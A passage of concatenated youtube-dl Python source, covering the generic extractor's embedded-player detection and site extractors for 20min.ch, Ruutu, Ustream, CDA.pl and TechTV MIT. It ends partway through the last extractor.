            r'<iframe[^>]+?src=(["\'])(?P<url>(?:https?:)?//cloud\.tvigle\.ru/video/.+?)\1', webpage)
        if mobj is not None:
            return self.url_result(mobj.group('url'), 'Tvigle')

        # Look for embedded TED player
        mobj = re.search(
            r'<iframe[^>]+?src=(["\'])(?P<url>https?://embed(?:-ssl)?\.ted\.com/.+?)\1', webpage)
        if mobj is not None:
            return self.url_result(mobj.group('url'), 'TED')

        # Look for embedded Ustream videos
        mobj = re.search(
            r'<iframe[^>]+?src=(["\'])(?P<url>http://www\.ustream\.tv/embed/.+?)\1', webpage)
        if mobj is not None:
            return self.url_result(mobj.group('url'), 'Ustream')

        # Look for embedded arte.tv player
        mobj = re.search(
            r'<(?:script|iframe) [^>]*?src="(?P<url>http://www\.arte\.tv/(?:playerv2/embed|arte_vp/index)[^"]+)"',
            webpage)
        if mobj is not None:
            return self.url_result(mobj.group('url'), 'ArteTVEmbed')

        # Look for embedded francetv player
        mobj = re.search(
            r'<iframe[^>]+?src=(["\'])(?P<url>(?:https?://)?embed\.francetv\.fr/\?ue=.+?)\1',
            webpage)
        if mobj is not None:
            return self.url_result(mobj.group('url'))

        # Look for embedded smotri.com player
        smotri_url = SmotriIE._extract_url(webpage)
        if smotri_url:
            return self.url_result(smotri_url, 'Smotri')

        # Look for embedded Myvi.ru player
        myvi_url = MyviIE._extract_url(webpage)
        if myvi_url:
            return self.url_result(myvi_url)

        # Look for embedded soundcloud player
        soundcloud_urls = SoundcloudIE._extract_urls(webpage)
        if soundcloud_urls:
            return _playlist_from_matches(soundcloud_urls, getter=unescapeHTML, ie=SoundcloudIE.ie_key())

        # Look for embedded mtvservices player
        mtvservices_url = MTVServicesEmbeddedIE._extract_url(webpage)
        if mtvservices_url:
            return self.url_result(mtvservices_url, ie='MTVServicesEmbedded')

        # Look for embedded yahoo player
        mobj = re.search(
            r'<iframe[^>]+?src=(["\'])(?P<url>https?://(?:screen|movies)\.yahoo\.com/.+?\.html\?format=embed)\1',
            webpage)
        if mobj is not None:
            return self.url_result(mobj.group('url'), 'Yahoo')

        # Look for embedded sbs.com.au player
        mobj = re.search(
            r'''(?x)
            (?:
                <meta\s+property="og:video"\s+content=|
                <iframe[^>]+?src=
            )
            (["\'])(?P<url>https?://(?:www\.)?sbs\.com\.au/ondemand/video/.+?)\1''',
            webpage)
        if mobj is not None:
            return self.url_result(mobj.group('url'), 'SBS')

        # Look for embedded Cinchcast player
        mobj = re.search(
            r'<iframe[^>]+?src=(["\'])(?P<url>https?://player\.cinchcast\.com/.+?)\1',
            webpage)
        if mobj is not None:
            return self.url_result(mobj.group('url'), 'Cinchcast')

        mobj = re.search(
            r'<iframe[^>]+?src=(["\'])(?P<url>https?://m(?:lb)?\.mlb\.com/shared/video/embed/embed\.html\?.+?)\1',
            webpage)
        if not mobj:
            mobj = re.search(
                r'data-video-link=["\'](?P<url>http://m.mlb.com/video/[^"\']+)',
                webpage)
        if mobj is not None:
            return self.url_result(mobj.group('url'), 'MLB')

        mobj = re.search(
            r'<(?:iframe|script)[^>]+?src=(["\'])(?P<url>%s)\1' % CondeNastIE.EMBED_URL,
            webpage)
        if mobj is not None:
            return self.url_result(self._proto_relative_url(mobj.group('url'), scheme='http:'), 'CondeNast')

        mobj = re.search(
            r'<iframe[^>]+src="(?P<url>https?://(?:new\.)?livestream\.com/[^"]+/player[^"]+)"',
            webpage)
        if mobj is not None:
            return self.url_result(mobj.group('url'), 'Livestream')

        # Look for Zapiks embed
        mobj = re.search(
            r'<iframe[^>]+src="(?P<url>https?://(?:www\.)?zapiks\.fr/index\.php\?.+?)"', webpage)
        if mobj is not None:
            return self.url_result(mobj.group('url'), 'Zapiks')

        # Look for Kaltura embeds
        kaltura_url = KalturaIE._extract_url(webpage)
        if kaltura_url:
            return self.url_result(smuggle_url(kaltura_url, {'source_url': url}), KalturaIE.ie_key())

        # Look for Eagle.Platform embeds
        eagleplatform_url = EaglePlatformIE._extract_url(webpage)
        if eagleplatform_url:
            return self.url_result(eagleplatform_url, EaglePlatformIE.ie_key())

        # Look for ClipYou (uses Eagle.Platform) embeds
        mobj = re.search(
            r'<iframe[^>]+src="https?://(?P<host>media\.clipyou\.ru)/index/player\?.*\brecord_id=(?P<id>\d+).*"', webpage)
        if mobj is not None:
            return self.url_result('eagleplatform:%(host)s:%(id)s' % mobj.groupdict(), 'EaglePlatform')

        # Look for Pladform embeds
        pladform_url = PladformIE._extract_url(webpage)
        if pladform_url:
            return self.url_result(pladform_url)

        # Look for Videomore embeds
        videomore_url = VideomoreIE._extract_url(webpage)
        if videomore_url:
            return self.url_result(videomore_url)

        # Look for Playwire embeds
        mobj = re.search(
            r'<script[^>]+data-config=(["\'])(?P<url>(?:https?:)?//config\.playwire\.com/.+?)\1', webpage)
        if mobj is not None:
            return self.url_result(mobj.group('url'))

        # Look for 5min embeds
        mobj = re.search(
            r'<meta[^>]+property="og:video"[^>]+content="https?://embed\.5min\.com/(?P<id>[0-9]+)/?', webpage)
        if mobj is not None:
            return self.url_result('5min:%s' % mobj.group('id'), 'FiveMin')

        # Look for Crooks and Liars embeds
        mobj = re.search(
            r'<(?:iframe[^>]+src|param[^>]+value)=(["\'])(?P<url>(?:https?:)?//embed\.crooksandliars\.com/(?:embed|v)/.+?)\1', webpage)
        if mobj is not None:
            return self.url_result(mobj.group('url'))

        # Look for NBC Sports VPlayer embeds
        nbc_sports_url = NBCSportsVPlayerIE._extract_url(webpage)
        if nbc_sports_url:
            return self.url_result(nbc_sports_url, 'NBCSportsVPlayer')

        # Look for NBC News embeds
        nbc_news_embed_url = re.search(
            r'<iframe[^>]+src=(["\'])(?P<url>(?:https?:)?//www\.nbcnews\.com/widget/video-embed/[^"\']+)\1', webpage)
        if nbc_news_embed_url:
            return self.url_result(nbc_news_embed_url.group('url'), 'NBCNews')

        # Look for Google Drive embeds
        google_drive_url = GoogleDriveIE._extract_url(webpage)
        if google_drive_url:
            return self.url_result(google_drive_url, 'GoogleDrive')

        # Look for UDN embeds
        mobj = re.search(
            r'<iframe[^>]+src="(?P<url>%s)"' % UDNEmbedIE._PROTOCOL_RELATIVE_VALID_URL, webpage)
        if mobj is not None:
            return self.url_result(
                compat_urlparse.urljoin(url, mobj.group('url')), 'UDNEmbed')

        # Look for Senate ISVP iframe
        senate_isvp_url = SenateISVPIE._search_iframe_url(webpage)
        if senate_isvp_url:
            return self.url_result(senate_isvp_url, 'SenateISVP')

        # Look for Dailymotion Cloud videos
        dmcloud_url = DailymotionCloudIE._extract_dmcloud_url(webpage)
        if dmcloud_url:
            return self.url_result(dmcloud_url, 'DailymotionCloud')

        # Look for OnionStudios embeds
        onionstudios_url = OnionStudiosIE._extract_url(webpage)
        if onionstudios_url:
            return self.url_result(onionstudios_url)

        # Look for ViewLift embeds
        viewlift_url = ViewLiftEmbedIE._extract_url(webpage)
        if viewlift_url:
            return self.url_result(viewlift_url)

        # Look for JWPlatform embeds
        jwplatform_url = JWPlatformIE._extract_url(webpage)
        if jwplatform_url:
            return self.url_result(jwplatform_url, 'JWPlatform')

        # Look for ScreenwaveMedia embeds
        mobj = re.search(ScreenwaveMediaIE.EMBED_PATTERN, webpage)
        if mobj is not None:
            return self.url_result(unescapeHTML(mobj.group('url')), 'ScreenwaveMedia')

        # Look for Digiteka embeds
        digiteka_url = DigitekaIE._extract_url(webpage)
        if digiteka_url:
            return self.url_result(self._proto_relative_url(digiteka_url), DigitekaIE.ie_key())

        # Look for Arkena embeds
        arkena_url = ArkenaIE._extract_url(webpage)
        if arkena_url:
            return self.url_result(arkena_url, ArkenaIE.ie_key())

        # Look for Limelight embeds
        mobj = re.search(r'LimelightPlayer\.doLoad(Media|Channel|ChannelList)\(["\'](?P<id>[a-z0-9]{32})', webpage)
        if mobj:
            lm = {
                'Media': 'media',
                'Channel': 'channel',
                'ChannelList': 'channel_list',
            }
            return self.url_result('limelight:%s:%s' % (
                lm[mobj.group(1)], mobj.group(2)), 'Limelight%s' % mobj.group(1), mobj.group(2))

        # Look for AdobeTVVideo embeds
        mobj = re.search(
            r'<iframe[^>]+src=[\'"]((?:https?:)?//video\.tv\.adobe\.com/v/\d+[^"]+)[\'"]',
            webpage)
        if mobj is not None:
            return self.url_result(
                self._proto_relative_url(unescapeHTML(mobj.group(1))),
                'AdobeTVVideo')

        # Look for Vine embeds
        mobj = re.search(
            r'<iframe[^>]+src=[\'"]((?:https?:)?//(?:www\.)?vine\.co/v/[^/]+/embed/(?:simple|postcard))',
            webpage)
        if mobj is not None:
            return self.url_result(
                self._proto_relative_url(unescapeHTML(mobj.group(1))), 'Vine')

        # Look for VODPlatform embeds
        mobj = re.search(
            r'<iframe[^>]+src=[\'"]((?:https?:)?//(?:www\.)?vod-platform\.net/embed/[^/?#]+)',
            webpage)
        if mobj is not None:
            return self.url_result(
                self._proto_relative_url(unescapeHTML(mobj.group(1))), 'VODPlatform')

        # Look for Instagram embeds
        instagram_embed_url = InstagramIE._extract_embed_url(webpage)
        if instagram_embed_url is not None:
            return self.url_result(
                self._proto_relative_url(instagram_embed_url), InstagramIE.ie_key())

        # Look for LiveLeak embeds
        liveleak_url = LiveLeakIE._extract_url(webpage)
        if liveleak_url:
            return self.url_result(liveleak_url, 'LiveLeak')

        # Look for 3Q SDN embeds
        threeqsdn_url = ThreeQSDNIE._extract_url(webpage)
        if threeqsdn_url:
            return {
                '_type': 'url_transparent',
                'ie_key': ThreeQSDNIE.ie_key(),
                'url': self._proto_relative_url(threeqsdn_url),
                'title': video_title,
                'description': video_description,
                'thumbnail': video_thumbnail,
                'uploader': video_uploader,
            }

        # Look for VBOX7 embeds
        vbox7_url = Vbox7IE._extract_url(webpage)
        if vbox7_url:
            return self.url_result(vbox7_url, Vbox7IE.ie_key())

        # Look for DBTV embeds
        dbtv_urls = DBTVIE._extract_urls(webpage)
        if dbtv_urls:
            return _playlist_from_matches(dbtv_urls, ie=DBTVIE.ie_key())

        # Looking for http://schema.org/VideoObject
        json_ld = self._search_json_ld(
            webpage, video_id, default={}, expected_type='VideoObject')
        if json_ld.get('url'):
            info_dict.update({
                'title': video_title or info_dict['title'],
                'description': video_description,
                'thumbnail': video_thumbnail,
                'age_limit': age_limit
            })
            info_dict.update(json_ld)
            return info_dict

        def check_video(vurl):
            if YoutubeIE.suitable(vurl):
                return True
            vpath = compat_urlparse.urlparse(vurl).path
            vext = determine_ext(vpath)
            return '.' in vpath and vext not in ('swf', 'png', 'jpg', 'srt', 'sbv', 'sub', 'vtt', 'ttml')

        def filter_video(urls):
            return list(filter(check_video, urls))

        # Start with something easy: JW Player in SWFObject
        found = filter_video(re.findall(r'flashvars: [\'"](?:.*&)?file=(http[^\'"&]*)', webpage))
        if not found:
            # Look for gorilla-vid style embedding
            found = filter_video(re.findall(r'''(?sx)
                (?:
                    jw_plugins|
                    JWPlayerOptions|
                    jwplayer\s*\(\s*["'][^'"]+["']\s*\)\s*\.setup
                )
                .*?
                ['"]?file['"]?\s*:\s*["\'](.*?)["\']''', webpage))
        if not found:
            # Broaden the search a little bit
            found = filter_video(re.findall(r'[^A-Za-z0-9]?(?:file|source)=(http[^\'"&]*)', webpage))
        if not found:
            # Broaden the findall a little bit: JWPlayer JS loader
            found = filter_video(re.findall(
                r'[^A-Za-z0-9]?(?:file|video_url)["\']?:\s*["\'](http(?![^\'"]+\.[0-9]+[\'"])[^\'"]+)["\']', webpage))
        if not found:
            # Flow player
            found = filter_video(re.findall(r'''(?xs)
                flowplayer\("[^"]+",\s*
                    \{[^}]+?\}\s*,
                    \s*\{[^}]+? ["']?clip["']?\s*:\s*\{\s*
                        ["']?url["']?\s*:\s*["']([^"']+)["']
            ''', webpage))
        if not found:
            # Cinerama player
            found = re.findall(
                r"cinerama\.embedPlayer\(\s*\'[^']+\',\s*'([^']+)'", webpage)
        if not found:
            # Try to find twitter cards info
            # twitter:player:stream should be checked before twitter:player since
            # it is expected to contain a raw stream (see
            # https://dev.twitter.com/cards/types/player#On_twitter.com_via_desktop_browser)
            found = filter_video(re.findall(
                r'<meta (?:property|name)="twitter:player:stream" (?:content|value)="(.+?)"', webpage))
        if not found:
            # We look for Open Graph info:
            # We have to match any number spaces between elements, some sites try to align them (eg.: statigr.am)
            m_video_type = re.findall(r'<meta.*?property="og:video:type".*?content="video/(.*?)"', webpage)
            # We only look in og:video if the MIME type is a video, don't try if it's a Flash player:
            if m_video_type is not None:
                found = filter_video(re.findall(r'<meta.*?property="og:video".*?content="(.*?)"', webpage))
        if not found:
            # HTML5 video
            found = re.findall(r'(?s)<(?:video|audio)[^<]*(?:>.*?<source[^>]*)?\s+src=["\'](.*?)["\']', webpage)
        if not found:
            REDIRECT_REGEX = r'[0-9]{,2};\s*(?:URL|url)=\'?([^\'"]+)'
            found = re.search(
                r'(?i)<meta\s+(?=(?:[a-z-]+="[^"]+"\s+)*http-equiv="refresh")'
                r'(?:[a-z-]+="[^"]+"\s+)*?content="%s' % REDIRECT_REGEX,
                webpage)
            if not found:
                # Look also in Refresh HTTP header
                refresh_header = head_response.headers.get('Refresh')
                if refresh_header:
                    # In python 2 response HTTP headers are bytestrings
                    if sys.version_info < (3, 0) and isinstance(refresh_header, str):
                        refresh_header = refresh_header.decode('iso-8859-1')
                    found = re.search(REDIRECT_REGEX, refresh_header)
            if found:
                new_url = compat_urlparse.urljoin(url, unescapeHTML(found.group(1)))
                self.report_following_redirect(new_url)
                return {
                    '_type': 'url',
                    'url': new_url,
                }

        if not found:
            # twitter:player is a https URL to iframe player that may or may not
            # be supported by youtube-dl thus this is checked the very last (see
            # https://dev.twitter.com/cards/types/player#On_twitter.com_via_desktop_browser)
            embed_url = self._html_search_meta('twitter:player', webpage, default=None)
            if embed_url:
                return self.url_result(embed_url)

        if not found:
            raise UnsupportedError(url)

        entries = []
        for video_url in orderedSet(found):
            video_url = unescapeHTML(video_url)
            video_url = video_url.replace('\\/', '/')
            video_url = compat_urlparse.urljoin(url, video_url)
            video_id = compat_urllib_parse_unquote(os.path.basename(video_url))

            # Sometimes, jwplayer extraction will result in a YouTube URL
            if YoutubeIE.suitable(video_url):
                entries.append(self.url_result(video_url, 'Youtube'))
                continue

            # here's a fun little line of code for you:
            video_id = os.path.splitext(video_id)[0]

            entry_info_dict = {
                'id': video_id,
                'uploader': video_uploader,
                'title': video_title,
                'age_limit': age_limit,
            }

            ext = determine_ext(video_url)
            if ext == 'smil':
                entry_info_dict['formats'] = self._extract_smil_formats(video_url, video_id)
            elif ext == 'xspf':
                return self.playlist_result(self._extract_xspf_playlist(video_url, video_id), video_id)
            elif ext == 'm3u8':
                entry_info_dict['formats'] = self._extract_m3u8_formats(video_url, video_id, ext='mp4')
            elif ext == 'mpd':
                entry_info_dict['formats'] = self._extract_mpd_formats(video_url, video_id)
            elif ext == 'f4m':
                entry_info_dict['formats'] = self._extract_f4m_formats(video_url, video_id)
            else:
                entry_info_dict['url'] = video_url

            if entry_info_dict.get('formats'):
                self._sort_formats(entry_info_dict['formats'])

            entries.append(entry_info_dict)

        if len(entries) == 1:
            return entries[0]
        else:
            for num, e in enumerate(entries, start=1):
                # 'url' results don't have a title
                if e.get('title') is not None:
                    e['title'] = '%s (%d)' % (e['title'], num)
            return {
                '_type': 'playlist',
                'entries': entries,
            }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import remove_end


class TwentyMinutenIE(InfoExtractor):
    IE_NAME = '20min'
    _VALID_URL = r'https?://(?:www\.)?20min\.ch/(?:videotv/*\?.*\bvid=(?P<id>\d+)|(?:[^/]+/)*(?P<display_id>[^/#?]+))'
    _TESTS = [{
        # regular video
        'url': 'http://www.20min.ch/videotv/?vid=469148&cid=2',
        'md5': 'b52d6bc6ea6398e6a38f12cfd418149c',
        'info_dict': {
            'id': '469148',
            'ext': 'flv',
            'title': '85 000 Franken für 15 perfekte Minuten',
            'description': 'Was die Besucher vom Silvesterzauber erwarten können. (Video: Alice Grosjean/Murat Temel)',
            'thumbnail': 'http://thumbnails.20min-tv.ch/server063/469148/frame-72-469148.jpg'
        }
    }, {
        # news article with video
        'url': 'http://www.20min.ch/schweiz/news/story/-Wir-muessen-mutig-nach-vorne-schauen--22050469',
        'md5': 'cd4cbb99b94130cff423e967cd275e5e',
        'info_dict': {
            'id': '469408',
            'display_id': '-Wir-muessen-mutig-nach-vorne-schauen--22050469',
            'ext': 'flv',
            'title': '«Wir müssen mutig nach vorne schauen»',
            'description': 'Kein Land sei innovativer als die Schweiz, sagte Johann Schneider-Ammann in seiner Neujahrsansprache. Das Land müsse aber seine Hausaufgaben machen.',
            'thumbnail': 'http://www.20min.ch/images/content/2/2/0/22050469/10/teaserbreit.jpg'
        },
        'skip': '"This video is no longer available" is shown both on the web page and in the downloaded file.',
    }, {
        # YouTube embed
        'url': 'http://www.20min.ch/ro/sports/football/story/Il-marque-une-bicyclette-de-plus-de-30-metres--21115184',
        'md5': 'cec64d59aa01c0ed9dbba9cf639dd82f',
        'info_dict': {
            'id': 'ivM7A7SpDOs',
            'ext': 'mp4',
            'title': 'GOLAZO DE CHILENA DE JAVI GÓMEZ, FINALISTA AL BALÓN DE CLM 2016',
            'description': 'md5:903c92fbf2b2f66c09de514bc25e9f5a',
            'upload_date': '20160424',
            'uploader': 'RTVCM Castilla-La Mancha',
            'uploader_id': 'RTVCM',
        },
        'add_ie': ['Youtube'],
    }, {
        'url': 'http://www.20min.ch/videotv/?cid=44&vid=468738',
        'only_matching': True,
    }, {
        'url': 'http://www.20min.ch/ro/sortir/cinema/story/Grandir-au-bahut--c-est-dur-18927411',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        display_id = mobj.group('display_id') or video_id

        webpage = self._download_webpage(url, display_id)

        youtube_url = self._html_search_regex(
            r'<iframe[^>]+src="((?:https?:)?//www\.youtube\.com/embed/[^"]+)"',
            webpage, 'YouTube embed URL', default=None)
        if youtube_url is not None:
            return self.url_result(youtube_url, 'Youtube')

        title = self._html_search_regex(
            r'<h1>.*?<span>(.+?)</span></h1>',
            webpage, 'title', default=None)
        if not title:
            title = remove_end(re.sub(
                r'^20 [Mm]inuten.*? -', '', self._og_search_title(webpage)), ' - News')

        if not video_id:
            video_id = self._search_regex(
                r'"file\d?"\s*,\s*\"(\d+)', webpage, 'video id')

        description = self._html_search_meta(
            'description', webpage, 'description')
        thumbnail = self._og_search_thumbnail(webpage)

        return {
            'id': video_id,
            'display_id': display_id,
            'url': 'http://speed.20min-tv.ch/%sm.flv' % video_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import compat_urllib_parse_urlparse
from ..utils import (
    determine_ext,
    int_or_none,
    xpath_attr,
    xpath_text,
)


class RuutuIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?ruutu\.fi/video/(?P<id>\d+)'
    _TESTS = [
        {
            'url': 'http://www.ruutu.fi/video/2058907',
            'md5': 'ab2093f39be1ca8581963451b3c0234f',
            'info_dict': {
                'id': '2058907',
                'ext': 'mp4',
                'title': 'Oletko aina halunnut tietää mitä tapahtuu vain hetki ennen lähetystä? - Nyt se selvisi!',
                'description': 'md5:cfc6ccf0e57a814360df464a91ff67d6',
                'thumbnail': 're:^https?://.*\.jpg$',
                'duration': 114,
                'age_limit': 0,
            },
        },
        {
            'url': 'http://www.ruutu.fi/video/2057306',
            'md5': '065a10ae4d5b8cfd9d0c3d332465e3d9',
            'info_dict': {
                'id': '2057306',
                'ext': 'mp4',
                'title': 'Superpesis: katso koko kausi Ruudussa',
                'description': 'md5:da2736052fef3b2bd5e0005e63c25eac',
                'thumbnail': 're:^https?://.*\.jpg$',
                'duration': 40,
                'age_limit': 0,
            },
        },
    ]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        video_xml = self._download_xml(
            'http://gatling.ruutu.fi/media-xml-cache?id=%s' % video_id, video_id)

        formats = []
        processed_urls = []

        def extract_formats(node):
            for child in node:
                if child.tag.endswith('Files'):
                    extract_formats(child)
                elif child.tag.endswith('File'):
                    video_url = child.text
                    if (not video_url or video_url in processed_urls or
                            any(p in video_url for p in ('NOT_USED', 'NOT-USED'))):
                        return
                    processed_urls.append(video_url)
                    ext = determine_ext(video_url)
                    if ext == 'm3u8':
                        formats.extend(self._extract_m3u8_formats(
                            video_url, video_id, 'mp4', m3u8_id='hls', fatal=False))
                    elif ext == 'f4m':
                        formats.extend(self._extract_f4m_formats(
                            video_url, video_id, f4m_id='hds', fatal=False))
                    else:
                        proto = compat_urllib_parse_urlparse(video_url).scheme
                        if not child.tag.startswith('HTTP') and proto != 'rtmp':
                            continue
                        preference = -1 if proto == 'rtmp' else 1
                        label = child.get('label')
                        tbr = int_or_none(child.get('bitrate'))
                        format_id = '%s-%s' % (proto, label if label else tbr) if label or tbr else proto
                        if not self._is_valid_url(video_url, video_id, format_id):
                            continue
                        width, height = [int_or_none(x) for x in child.get('resolution', 'x').split('x')[:2]]
                        formats.append({
                            'format_id': format_id,
                            'url': video_url,
                            'width': width,
                            'height': height,
                            'tbr': tbr,
                            'preference': preference,
                        })

        extract_formats(video_xml.find('./Clip'))
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': xpath_attr(video_xml, './/Behavior/Program', 'program_name', 'title', fatal=True),
            'description': xpath_attr(video_xml, './/Behavior/Program', 'description', 'description'),
            'thumbnail': xpath_attr(video_xml, './/Behavior/Startpicture', 'href', 'thumbnail'),
            'duration': int_or_none(xpath_text(video_xml, './/Runtime', 'duration')),
            'age_limit': int_or_none(xpath_text(video_xml, './/AgeLimit', 'age limit')),
            'formats': formats,
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import (
    compat_urlparse,
)
from ..utils import (
    ExtractorError,
    int_or_none,
    float_or_none,
)


class UstreamIE(InfoExtractor):
    _VALID_URL = r'https?://www\.ustream\.tv/(?P<type>recorded|embed|embed/recorded)/(?P<id>\d+)'
    IE_NAME = 'ustream'
    _TESTS = [{
        'url': 'http://www.ustream.tv/recorded/20274954',
        'md5': '088f151799e8f572f84eb62f17d73e5c',
        'info_dict': {
            'id': '20274954',
            'ext': 'flv',
            'title': 'Young Americans for Liberty February 7, 2012 2:28 AM',
            'description': 'Young Americans for Liberty February 7, 2012 2:28 AM',
            'timestamp': 1328577035,
            'upload_date': '20120207',
            'uploader': 'yaliberty',
            'uploader_id': '6780869',
        },
    }, {
        # From http://sportscanada.tv/canadagames/index.php/week2/figure-skating/444
        # Title and uploader available only from params JSON
        'url': 'http://www.ustream.tv/embed/recorded/59307601?ub=ff0000&lc=ff0000&oc=ffffff&uc=ffffff&v=3&wmode=direct',
        'md5': '5a2abf40babeac9812ed20ae12d34e10',
        'info_dict': {
            'id': '59307601',
            'ext': 'flv',
            'title': '-CG11- Canada Games Figure Skating',
            'uploader': 'sportscanadatv',
        },
        'skip': 'This Pro Broadcaster has chosen to remove this video from the ustream.tv site.',
    }, {
        'url': 'http://www.ustream.tv/embed/10299409',
        'info_dict': {
            'id': '10299409',
        },
        'playlist_count': 3,
    }]

    def _real_extract(self, url):
        m = re.match(self._VALID_URL, url)
        video_id = m.group('id')

        # some sites use this embed format (see: https://github.com/rg3/youtube-dl/issues/2990)
        if m.group('type') == 'embed/recorded':
            video_id = m.group('id')
            desktop_url = 'http://www.ustream.tv/recorded/' + video_id
            return self.url_result(desktop_url, 'Ustream')
        if m.group('type') == 'embed':
            video_id = m.group('id')
            webpage = self._download_webpage(url, video_id)
            content_video_ids = self._parse_json(self._search_regex(
                r'ustream\.vars\.offAirContentVideoIds=([^;]+);', webpage,
                'content video IDs'), video_id)
            return self.playlist_result(
                map(lambda u: self.url_result('http://www.ustream.tv/recorded/' + u, 'Ustream'), content_video_ids),
                video_id)

        params = self._download_json(
            'https://api.ustream.tv/videos/%s.json' % video_id, video_id)

        error = params.get('error')
        if error:
            raise ExtractorError(
                '%s returned error: %s' % (self.IE_NAME, error), expected=True)

        video = params['video']

        title = video['title']
        filesize = float_or_none(video.get('file_size'))

        formats = [{
            'id': video_id,
            'url': video_url,
            'ext': format_id,
            'filesize': filesize,
        } for format_id, video_url in video['media_urls'].items()]
        self._sort_formats(formats)

        description = video.get('description')
        timestamp = int_or_none(video.get('created_at'))
        duration = float_or_none(video.get('length'))
        view_count = int_or_none(video.get('views'))

        uploader = video.get('owner', {}).get('username')
        uploader_id = video.get('owner', {}).get('id')

        thumbnails = [{
            'id': thumbnail_id,
            'url': thumbnail_url,
        } for thumbnail_id, thumbnail_url in video.get('thumbnail', {}).items()]

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'thumbnails': thumbnails,
            'timestamp': timestamp,
            'duration': duration,
            'view_count': view_count,
            'uploader': uploader,
            'uploader_id': uploader_id,
            'formats': formats,
        }


class UstreamChannelIE(InfoExtractor):
    _VALID_URL = r'https?://www\.ustream\.tv/channel/(?P<slug>.+)'
    IE_NAME = 'ustream:channel'
    _TEST = {
        'url': 'http://www.ustream.tv/channel/channeljapan',
        'info_dict': {
            'id': '10874166',
        },
        'playlist_mincount': 17,
    }

    def _real_extract(self, url):
        m = re.match(self._VALID_URL, url)
        display_id = m.group('slug')
        webpage = self._download_webpage(url, display_id)
        channel_id = self._html_search_meta('ustream:channel_id', webpage)

        BASE = 'http://www.ustream.tv'
        next_url = '/ajax/socialstream/videos/%s/1.json' % channel_id
        video_ids = []
        while next_url:
            reply = self._download_json(
                compat_urlparse.urljoin(BASE, next_url), display_id,
                note='Downloading video information (next: %d)' % (len(video_ids) + 1))
            video_ids.extend(re.findall(r'data-content-id="(\d.*)"', reply['data']))
            next_url = reply['nextUrl']

        entries = [
            self.url_result('http://www.ustream.tv/recorded/' + vid, 'Ustream')
            for vid in video_ids]
        return {
            '_type': 'playlist',
            'id': channel_id,
            'display_id': display_id,
            'entries': entries,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    decode_packed_codes,
    ExtractorError,
    parse_duration
)


class CDAIE(InfoExtractor):
    _VALID_URL = r'https?://(?:(?:www\.)?cda\.pl/video|ebd\.cda\.pl/[0-9]+x[0-9]+)/(?P<id>[0-9a-z]+)'
    _TESTS = [{
        'url': 'http://www.cda.pl/video/5749950c',
        'md5': '6f844bf51b15f31fae165365707ae970',
        'info_dict': {
            'id': '5749950c',
            'ext': 'mp4',
            'height': 720,
            'title': 'Oto dlaczego przed zakrętem należy zwolnić.',
            'duration': 39
        }
    }, {
        'url': 'http://www.cda.pl/video/57413289',
        'md5': 'a88828770a8310fc00be6c95faf7f4d5',
        'info_dict': {
            'id': '57413289',
            'ext': 'mp4',
            'title': 'Lądowanie na lotnisku na Maderze',
            'duration': 137
        }
    }, {
        'url': 'http://ebd.cda.pl/0x0/5749950c',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage('http://ebd.cda.pl/0x0/' + video_id, video_id)

        if 'Ten film jest dostępny dla użytkowników premium' in webpage:
            raise ExtractorError('This video is only available for premium users.', expected=True)

        title = self._html_search_regex(r'<title>(.+?)</title>', webpage, 'title')

        formats = []

        info_dict = {
            'id': video_id,
            'title': title,
            'formats': formats,
            'duration': None,
        }

        def extract_format(page, version):
            unpacked = decode_packed_codes(page)
            format_url = self._search_regex(
                r"(?:file|url)\s*:\s*(\\?[\"'])(?P<url>http.+?)\1", unpacked,
                '%s url' % version, fatal=False, group='url')
            if not format_url:
                return
            f = {
                'url': format_url,
            }
            m = re.search(
                r'<a[^>]+data-quality="(?P<format_id>[^"]+)"[^>]+href="[^"]+"[^>]+class="[^"]*quality-btn-active[^"]*">(?P<height>[0-9]+)p',
                page)
            if m:
                f.update({
                    'format_id': m.group('format_id'),
                    'height': int(m.group('height')),
                })
            info_dict['formats'].append(f)
            if not info_dict['duration']:
                info_dict['duration'] = parse_duration(self._search_regex(
                    r"duration\s*:\s*(\\?[\"'])(?P<duration>.+?)\1",
                    unpacked, 'duration', fatal=False, group='duration'))

        extract_format(webpage, 'default')

        for href, resolution in re.findall(
                r'<a[^>]+data-quality="[^"]+"[^>]+href="([^"]+)"[^>]+class="quality-btn"[^>]*>([0-9]+p)',
                webpage):
            webpage = self._download_webpage(
                href, video_id, 'Downloading %s version information' % resolution, fatal=False)
            if not webpage:
                # Manually report warning because empty page is returned when
                # invalid version is requested.
                self.report_warning('Unable to download %s version information' % resolution)
                continue
            extract_format(webpage, resolution)

        self._sort_formats(formats)

        return info_dict






from __future__ import unicode_literals

import re
import json

from .common import InfoExtractor
from .youtube import YoutubeIE
from ..utils import (
    clean_html,
    ExtractorError,
    get_element_by_id,
)


class TechTVMITIE(InfoExtractor):
    IE_NAME = 'techtv.mit.edu'
    _VALID_URL = r'https?://techtv\.mit\.edu/(?:videos|embeds)/(?P<id>\d+)'

    _TEST = {
        'url': 'http://techtv.mit.edu/videos/25418-mit-dna-learning-center-set',
        'md5': '00a3a27ee20d44bcaa0933ccec4a2cf7',
        'info_dict': {
            'id': '25418',
            'ext': 'mp4',
            'title': 'MIT DNA and Protein Sets',
            'description': 'md5:46f5c69ce434f0a97e7c628cc142802d',
        },
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        raw_page = self._download_webpage(
            'http://techtv.mit.edu/videos/%s' % video_id, video_id)
        clean_page = re.compile(r'<!--.*?-->', re.S).sub('', raw_page)

        base_url = self._proto_relative_url(self._search_regex(
            r'ipadUrl: \'(.+?cloudfront.net/)', raw_page, 'base url'), 'http:')
        formats_json = self._search_regex(
            r'bitrates: (\[.+?\])', raw_page, 'video formats')
        formats_mit = json.loads(formats_json)
        formats = [
            {
                'format_id': f['label'],
                'url': base_url + f['url'].partition(':')[2],
